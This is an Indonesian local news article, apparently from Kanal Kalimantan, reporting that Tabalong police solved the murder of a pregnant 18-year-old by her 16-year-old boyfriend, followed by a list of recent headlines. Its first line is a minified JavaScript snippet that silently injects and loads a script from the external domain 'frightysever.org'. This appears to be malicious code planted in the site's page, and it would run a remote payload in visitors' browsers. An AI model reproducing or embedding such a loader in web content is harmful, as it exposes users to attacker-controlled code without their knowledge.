(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

MR Habisi RD Saat Diminta Bertanggung Jawab


TANJUNG, Kepolisian Resort Tabalong akhirnya berhasil mengungkap kasus pembunuhan pada RD (18), wanita hamil yang ditemukan mengambang di sungai.

Setelah meringkus MR (16), diduga pelaku pembunuh pada Sabtu (2/2), anak di bawah umur itu mengakui semua perbuatannya di hadapan polisi.

Ia mengaku membunuh RD yang tidak lain kekasihnya itu, lantaran panik diminta pertanggungjawaban karena kehamilan sang kekasih.

Saat hari naas itu, RD datang ke rumah MR meminta tanggung jawabnya. Karena panik, ia dengan RD terlibat pertengkaran bahkan terjadi saling pukul, hingga RD yang dalam keadaan hamil 8 bulan tertelungkup di tempat tidur.

“Melihat korban tertelungkup timbul niat pelaku menghabisi dengan menjerat menggunakan tali pramuka yang ada di kamar pelaku,” terang Kasat Reskrim Polres Tabalong Iptu Matnur SH, Rabu (6/2).

“Dijerat dengan tali pramuka ternyata tidak mematikan korban, akhirnya pelaku pun mencekik korban hingga meninggal dunia,” kata Matnur.

Lalu pada dini hari MR menyeret RD yang sudah tidak bernyawa ke sungai yang ada di belakang rumahnya untuk dihanyutkan.

Polisi selain melakukan pemeriksaan kepada pelaku juga melakukan otopsi pada mayat RD, dengan bantuan tim forensik RSUD Ulin Banjarmasin. Dari hasil pemeriksaan tim forensik korban meninggal dunia karena dicekik.

“Ini sangat memprihatikan, pelakunya masih di bawah umur, kami akan perlakukan sesuai dengan UU perlindungan anak,” jelas Matnur.

Masa tahanan terhadap MR dibatasi selama 15 hari dan tidak ada perpanjangan penahanan, sehingga pihaknya harus bergerak cepat menyelesaikan kasus pembunuhan tersebut.

MR yang masih berstatus pelajar aktif di salah satu sekolah kejuruan itu terancam hukuman seumur hidup hingga hukuman mati dengan pasal 338 hukum pidana.

“Kami menghimbau kepada seluruh warga Tabalong khususnya orang tua agar lebih peka terhadap gerak gerik dan perilaku anak-anaknya, senantiasa mengawasi serta memberikan bekal agama yang cukup, agar anak-anak kita tidak tergelincir melakukan hal-hal yang melanggar norma susila maupun norma hukum,” pungkas Iptu Matnur. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

7 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

8 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

8 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.